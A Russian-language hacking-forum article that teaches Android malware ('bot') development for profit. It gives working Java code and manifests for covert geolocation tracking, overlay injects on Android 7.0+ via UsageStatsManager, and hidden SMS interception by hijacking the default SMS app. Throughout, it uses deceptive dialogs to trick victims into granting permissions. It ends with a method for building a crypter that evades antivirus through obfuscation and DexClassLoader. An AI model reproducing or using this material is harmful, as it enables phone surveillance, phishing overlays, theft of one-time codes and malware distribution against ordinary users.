Admin

Administrator
Сообщения
840
Оценка реакций
617
Материал носет исключительно ознакомительный характер,
автор не несем ответственности за возможный вред от использования данного материала.
Крайне не рекомендуется применять их на практике.


Привет друзья, пока я шел утомленный работой по ночному городу от пункта А в пункт Б, размыслял идеи написание статьи для конкурса: "windows или android? а может iOS? Нет, iOS нельзя, Apple в этот же день прикроет все дырки, а на windows, в инете и так валом инфы: VNC, лоадеры и подобные малвари, а андроид все таки это актуально и прибыльно, да и толковых статей по сути единицы!
Ну окей, андроид так андроид, гугл все ровно дырки не закрывает, прошел спустя год и впринципе ничего не изменилось,только меня сделали виновным в том, что у них не безопасный андроид!
А тема ботоводства по андроиду и правда очень актуальная и не простая, так как там очень много изьян, вообще главная задача малваря быть не замеченым, иначе холдер будет делать все чтоб удалить его, вот это и относится к живучести ботов, так же к этому относится смена сертификата, некорректно оформленные инжекты и т.д., по поводу смены сертификата скажу что чем чаще будете менять его, тем больше ваших ботов останется в админке!
Ладно, все это хорошо, не будем лить воду и начнем разбирать тему "Вредоносные разработки для андроид".

Темы подбирал по часто возникавшими вопросами у людей как на форумах, так и на личной беседе с ними!

Рассмотрим 4 темы, а это:
1) Работа с геолокацией;
2) Инжектирование приложений от версии 7.0 и выше;
3) Скрытый перехват СМС от версии 4.4
4) Билдер + крипт APK

Погнали!

1) Работа с геолокацией
И так, для получения координат геолокации, нам необходимо добавить разрешения в манифест.

ACCESS_COARSE_LOCATION - Разрешение о примерном местоположении
ACCESS_FINE_LOCATION - Разрешение о точном местоположении

Код:
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION">
в Android API 23 нужно запрашивать разрешения.
В более ранних версиях разрешения подтвержади при установке приложения,
но с Android 6.0 мы должны запрашивать разрешения из категории "Опасных" во время работы приложения.

по этому проверяем версию операционной системы, если => API 23, то запрашиваем разрешения

Код:
// проверяем - есть ли разрешение
private boolean isPermissionGranted(String permission) {
  int permissionCheck = checkSelfPermission(this, permission);
  return permissionCheck == PackageManager.PERMISSION_GRANTED;
}
//запрашиваем разрешение
private void requestPermission(String permission, int requestCode) {
  requestPermissions(this, new String[]{permission}, requestCode);
}
На сам деле запрос можно обойти изменив версию сборки SDK на 22 или ниже, разрешения вы подтвердите при установке приложения на всех версиях андроида
можно конечно обойти и при сборке => API 23, но это останется маленьким секретом, идем дальше..

Создадим сервис для получени геолокации, с которым мы будем работать в нашем приложении.
Мы установим слушателя, с которого мы будем получать наши данные. Это может быть gps или network.

PHP:
public class Geolocation extends Service {
   public Geolocation() {
   }
   public LocationManager locManager;

   @Override
   public IBinder onBind(Intent intent) {
       return  null;
   }
   @Override
   public int onStartCommand(Intent intent, int flags, int startId) {
       try {
           locManager = (LocationManager) getSystemService(LOCATION_SERVICE);
           locManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 1000 * 15, 10, locList);
           locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 1000 * 15, 10, locList);
       }
       catch (Exception e){
           Log.e("Error","onStartCommand");
       }
       return flags;
   }
   private LocationListener locList = new LocationListener() {

       @Override
       public void onLocationChanged(Location location) {
           showLocation(location);
       }

       @Override
       public void onProviderDisabled(String provider) {
           check();
       }

       @Override
       public void onProviderEnabled(String provider) {
           check();
       }

       @Override
       public void onStatusChanged(String provider, int status, Bundle extras) {}
   };
   private void showLocation(Location location) {
       if (location == null)
           return;
       if (location.getProvider().equals(LocationManager.NETWORK_PROVIDER)) {
           Log.e("Netword",formatLocation(location));// Выводим координаты Netword
       }else if(location.getProvider().equals(LocationManager.GPS_PROVIDER)){
           Log.e("GPS",formatLocation(location));// Выводим координаты GPS
       }
   }
   private void check(){
       Log.e("CheckEnableGPS",""+locManager.isProviderEnabled(LocationManager.GPS_PROVIDER));
       Log.e("CheckEnableNetwork",""+locManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER));
   }

   private String formatLocation(Location location){
       if (location == null)return "";
       String s = String.format("%1$.4f:%2$.4f", location.getLatitude(), location.getLongitude());
       s = s.replace(",",".");
       return s;
   }
}
Гуд, все готово, но мы забыли об одном но, геолокацию мы не получим если в настройках системы геолокация выключана

по этому проверяем состояние настроек, если выключена геолокация, то ведем пользователя в настройки и заставляем включить их!

PHP:
//Проверка геолокации в настройках
public boolean GeolocationCheckEnabled(Context context ) {
  LocationManager locationManager = (LocationManager) context.getSystemService(LOCATION_SERVICE);
  if((locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER))
          ||(locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)))
  return true; else return false;
}
Соц. инженерия - заставляем холдера включить геолокацию, алерт в помощь!

PHP:
public void alertGeolocation(){
builder.setTitle("Геолокация")
       .setMessage("Включи геолокацию!")
       .setIcon(R.mipmap.ic_launcher)
       .setCancelable(false)
       .setNegativeButton("Включить",
            new DialogInterface.OnClickListener() {

            public void onClick(DialogInterface dialog, int id) {
                  context.startActivity(new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS));
                  dialog.cancel();
                }
           });
           try{
           AlertDialog alert = builder.create();
           alert.show();
}catch (Exception ex){
 //Error AlertDialog
}
}
2) Инжектирование приложений от версии 7.0 и выше
В предыдущих моих статья мы рассматривали работу инжектов на версия до 6.0, сегодня мы практически нагнем 7.0 и выше.

Посмотрим табличку, каким методом можно получить запущенный процесс:

root & read logcat (Android 2.2 - 7.0) [ Требуется использование уязвимостей, работает на 25% устройств ]
root & toolbox (Android 2.2 - 7.0) [ Требуется использование уязвимостей, работает на 25% устройств ]
AccessibilityService (Android 2.2 - 7.0) [ Требуется включить спец. возможности ]
UsageStatsManager (Android 5.0 - 7.0) [ Требуется подтверждение от пользователя, работает на 80-95% устройств ]
read files in /proc (Android 2.2 - 6.0)
getRunningTasks (Android 2.2 - 4.4)
getRunningAppProcesses (Android 5.0)

Сейчас рассмотрим UsageStatsManager, а позже я покажу вам как можно сделать инжект с помощью AccessibilityService

Для работы с UsageStatsManager, необходимо добавить разрешение в манифест.
PHP:
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" tools:ignore="ProtectedPermissions" />
Для получения запущенных процессов нужно включить статистику для нашего малваря, а перед этим проверяем включеная ли она или нет!?
PHP:
  public boolean getUsageStatsManager(Context context){
       if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
           try {
               PackageManager packageManager = context.getPackageManager();
               ApplicationInfo applicationInfo = packageManager.getApplicationInfo(context.getPackageName(), 0);
               AppOpsManager appOpsManager = (AppOpsManager) context.getSystemService(Context.APP_OPS_SERVICE);
               int mode = appOpsManager.checkOpNoThrow(AppOpsManager.OPSTR_GET_USAGE_STATS, applicationInfo.uid, applicationInfo.packageName);
               return (mode == AppOpsManager.MODE_ALLOWED);

           } catch (PackageManager.NameNotFoundException e) {
               return false;
           }
       }else{
           return false;
       }
   }
Если метод вернет там ложь, значит статистика выключена и снова заставляем холдера включить ее с помощью AlertDialog,
На нем выводим текст и кнопку для перехода в настройки статистики, вообщем юзаем тут СИ!

PHP:
AlertDialog.Builder builder = new AlertDialog.Builder(context);
       String locate = Resources.getSystem().getConfiguration().locale.toString();

       builder.setTitle("Получить разрешение")
                   .setMessage("Система не корректно работает, вам необходимо включить доступ к статистике '"+getNameApp(context)+"'")
                   .setIcon(R.mipmap.ic_launcher)
                   .setCancelable(false)
                   .setNegativeButton("Включить сейчас",
                           new DialogInterface.OnClickListener() {

                               public void onClick(DialogInterface dialog, int id) {
                                   context.startActivity(new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS));
                                   dialog.cancel();
                               }
                           });
Делаем это в цикле, с интервалом 15-20 секунд, чтоб не сильно достать холдера!
После того как мы получили права для статистики, пишем код для мониторинга процессов!

PHP:
   public String getProcessNameAPI24(Context context) {
       String foregroundProcess = "";
       ActivityManager activityManager = (ActivityManager) context.getApplicationContext().getSystemService(ACTIVITY_SERVICE);
       if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
           UsageStatsManager mUsageStatsManager = (UsageStatsManager)context.getSystemService(USAGE_STATS_SERVICE);
           long time = System.currentTimeMillis();
           List<UsageStats> stats = mUsageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, time - 1000*10, time);
           if(stats != null) {
               SortedMap<Long,UsageStats> mySortedMap = new TreeMap<Long,UsageStats>();
               for (UsageStats usageStats : stats) {
                   mySortedMap.put(usageStats.getLastTimeUsed(),usageStats);
               }
               if(mySortedMap != null && !mySortedMap.isEmpty()) {
                   String topPackageName =  mySortedMap.get(mySortedMap.lastKey()).getPackageName();
                   foregroundProcess = topPackageName;
               }else{
                   return "NoPermission";
               }
           }else{
               return "NoPermission";
           }
       }
       return foregroundProcess;
   }
Теперь создаем ServiceIntent и в цикле гоняем этот метод, для наглядности поставте интервал в одну секунду!

PHP:
while(true){
 try {
 TimeUnit.MILLISECONDS.sleep(1000);
} catch (InterruptedException e) {
 e.printStackTrace();
}
Log.i("ProcessName",getProcessNameAPI24(this));
}
Далее ловим нужный процесс и запускаем активити по верх атакуемого приложения,
вот таким способом мы добились инжектирования на версиях 7.0 и выше!



3) Скрытый перехват СМС от версии 4.4
С перехватом смс проблем быть не должно, для версий 6.0 и выше нужно подтверждать permission, если только вы собирали проект SDK 23или выше!
Если SDK ниже 23, то подтверждения смс(опасные) подтвердятся при установке малворя!
Но проблема в том что скрытно мы можем перехватить до версии 4.4(это я делал в статье Android BOT с нуля), для перехвата в новых версиях нужно
хитрить, есть два варианта, либо лочить устройство, писать мол "подождите идет обновления android" и в этот момент делать перехват, но только после
он все же увидит те смс, да и живучесть падает моментально при использовании этого метода(опыт с практики), по этому лучший вариант это сменить
смс менеджер на нашего малваря, ну нужно нам сделать его же смс менеджером для этого, поехали!

Для того чтоб выдать малварь за смс менеджер, нам нужно добавить 3 BroadcastReceiver, которые будут SMS ресивер, MMS ресивер Push ресивер и 1 сервис для отправки смс
реализацию писать в них не будем, сделаем их пустыми, так как принять смс мы можем способом которым я описывал ранее(Android BOT с нуля),
смена нам нужна просто для того чтоб смс не дошло до дефолтного SMS менеджера, вот так вот))

SMS ресивер:

PHP:
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class SMSBReceiver extends BroadcastReceiver {

   @Override
   public void onReceive(Context context, Intent intent) {

   }
}
MMS ресивер:

PHP:
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class MmsReceiver extends BroadcastReceiver {

   @Override
   public void onReceive(Context context, Intent intent) {

   }
}
Push ресивер:

PHP:
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class PushServiceReciever extends BroadcastReceiver {
   @Override
   public void onReceive(Context context, Intent intent) {

   }
Service отправка SMS

PHP:
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;

public class HeadlessSmsSendService extends Service {
   @Override
   public IBinder onBind(Intent intent) {
       return null;
   }
}
так же не забываем про манифест

PHP:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
   package="com.example.root.smsmanager">
   <uses-permission android:name="android.permission.SEND_SMS" />
   <uses-permission android:name="android.permission.READ_SMS" />
   <uses-permission android:name="android.permission.RECEIVE_SMS" />
   <application
       android:allowBackup="true"
       android:icon="@mipmap/ic_launcher"
       android:label="@string/app_name"
       android:roundIcon="@mipmap/ic_launcher_round"
       android:supportsRtl="true"
       android:theme="@style/AppTheme">
       <activity android:name=".MainActivity">
           <intent-filter>
               <action android:name="android.intent.action.MAIN" />

               <category android:name="android.intent.category.LAUNCHER" />
           </intent-filter>
       </activity>
       <receiver
           android:name=".MmsReceiver"
           android:permission="android.permission.BROADCAST_SMS">
           <intent-filter>
               <action android:name="android.provider.Telephony.SMS_DELIVER" />
           </intent-filter>
       </receiver>
       <receiver
           android:name=".PushServiceReciever"
           android:enabled="true"
           android:permission="android.permission.BROADCAST_WAP_PUSH">
           <intent-filter>
               <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />

               <data android:mimeType="application/vnd.wap.mms-message" />
           </intent-filter>
       </receiver>
       <activity android:name=".SendSms">
           <intent-filter>
               <action android:name="android.intent.action.SEND" />
               <action android:name="android.intent.action.SENDTO" />

               <category android:name="android.intent.category.DEFAULT" />
               <category android:name="android.intent.category.BROWSABLE" />

               <data android:scheme="sms" />
               <data android:scheme="smsto" />
               <data android:scheme="mms" />
               <data android:scheme="mmsto" />
           </intent-filter>
       </activity>
       <service
           android:name=".HeadlessSmsSendService"
           android:exported="true"
           android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
           <intent-filter>
               <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />

               <category android:name="android.intent.category.DEFAULT" />

               <data android:scheme="sms" />
               <data android:scheme="smsto" />
               <data android:scheme="mms" />
               <data android:scheme="mmsto" />
           </intent-filter>
       </service>
   </application>
</manifest>
Вот теперь наше приложение является SMS менеджером, осталось сделать запрос для смена SMS менеджера

PHP:
       if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) {
           if (!Telephony.Sms.getDefaultSmsPackage(this).equals(getPackageName())) {
                   Intent intentSMS = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
                   intentSMS.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, getPackageName());
                   intentSMS.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                   startActivity(intentSMS);
           }
       }
Так же после смены SMS менеджера, все опасные permission подтверждаются автоматически, вот такая уязвимость нам на руку/
Многие бот сменяют SMS менеджер после установки малваря, это не правильно, из за этого боты быстрее мрут, я меняю только тогда когда мне нужно перехватить SMS
и все работает на ура!

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Скрин смены менеджера
454a6662a2e2924109c11bb4cd257a8c.png
4) Крипт APK
Одна из головных болей андроид ботоводов - это антивирусы и сегодня мы попробуем их обойти

APK файл является архивом, в котором лежит вся необходимая информация для установки сигнатур,
в первую очередь обычно летят сигнатуры в манифест и строки("String text"), а так же на опасные классы и метода,
такие как для работы с SMS, USSD и т.д.


Тут будет больше теории чем практики, ну вы должны понимать что готовый криптор вам просто так никто не даст

Крипторы бывают разные, в основном они делаются с помощью DexClassLoader, он служит для обновление приложения, подробней читать

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

,
у антивирусов для андроида нет прав для провери установленого приложения, так как там нужен root, по этому они не могу определить малварь по установленному приложению, только
если только сам гугл по сертификату который был ранее обнаружен в малваре, по этому сертификаты нужно чаще менять!

(Пример на ОС windows)

И так, давайте создадим пустой проект в Android Studio, соберем пустой апк, проверим что у нас все гуд!
Далее копируем проект куда нибудь в отдельный каталог и пробуем собрать апк в ручную.
Для сборки релиза нужна подписывать apk сертификатом, создадим его в Android Studio и добавим
в файл build.gradle, который находится в папке app проекта.

PHP:
signingConfigs {
       release {
           storeFile file("C:\\jks\\a1.jks")
           storePassword '123321'
           keyAlias 'key0'
           keyPassword '123321'
       }
   }
   buildTypes {
       release {
    signingConfig signingConfigs.release
           minifyEnabled false
           proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
       }
   }
заходим в командную строку(cmd), директорию меняем на наш проект(cd pathProject) и делам релиз apk командой
"gradlew assembleRelease", ждем когда собертся apk и если все гуд, то наш файл будет "pathProject\app\build\outputs\apk\app-release.apk"

гуд, все работает, теперь мы можем собирать апк в ручную!
Мы собрали пустой проект, теперь просто перетащим весь код и ресурсы вышего малворя в проект(или весь проект сразу), незабываем про манифест,
главное проверьте что все собирается!

Идем дальше, нам нужно всегда компилировать apk с рандомным именем пакета(package), по этому нужно в коде указать имя которые будет знать наш билдер,
чтоб его изменить на рандом, к примеру "xxx1.xxx2.xxx3"
значит и также будет выглядит директория я нашему java коду:
pathProject\app\src\main\java\xxx1\xxx2\xxx3\*.java
Так же не забываем изменить package в java и в следующих файлах:
- pathProject\app\src\main\res\layout\*.xml;
- pathProject\app\src\main\AndroidManifest.XML;
- pathProject\app\build.gradle


Так же снова проверим компиляцию, если все гуд, идет дальше..


1) Тут нам понадобиться еще один ЯП, в котором будем писать билдер, хоть это будет python, php, С# не важно, я реализовал это все на C#.
Далее все просто, морфим весь проект, ходим по всем файлам где изменяли имя пакета на "xxx1.xxx2.xxx3" и так же меняет на рандомные англ. символы
каждой директории xxx1, xxx2, xxx3, не забываем про сами папки где хранятся java файлы pathProject\app\src\main\java\xxx1\xxx2\xxx3\*.java
их так же меняет, естественно чтоб везде каждая ридектория соответсовала.
Так же не забываем менять все в манифесте!

2) Нам нужно спрятать строки, точнее их зашифровать, определим для себя алгоритм шифрования, пусть это будет rc4 + base64, далее сканим все java файлы, собираем все строки("String text"),
в нашем билдере зашифровываем строку и меняем их на выполнения метода расшифровки с параметрами зашифрованого текста и ключем расшифрования, не забываем встатить сам метод расшифроваки!

3) Так же собираем все классы и изменяем их имена, не забываем пройти по коду и изменить их там, смотрите в сторону ангуляров и метода Replace


4) Можно еще пройтись и собрать все метода и переменные, но зачем? Этот вопрос нам решит ProGuard, в build.gradle включаем его minifyEnabled true

5) Забиваем малварь мусором, рандомным мусором, так чтоб он вызывался в реальном коде, иначе АВ просто их вырежит и эффекта не какого не будет!
тут главное использовать больше API, но не опасного, типа как SMS и USSD

6) Если ваш малварь все же детектит(уверен что останется детектов пару возможно), но вообще должно быть 0, то просто вырезаем код и тестим на ав, если детект пропал, на определенном учетке кода
то прячем его в модули и подгружаем DexClassLoaderом, пример можно посмотреть

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

,
если не получается,

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

*

Видео примерного билдера, правда в нем больше используется разным фишек обхода АВ
by maza-in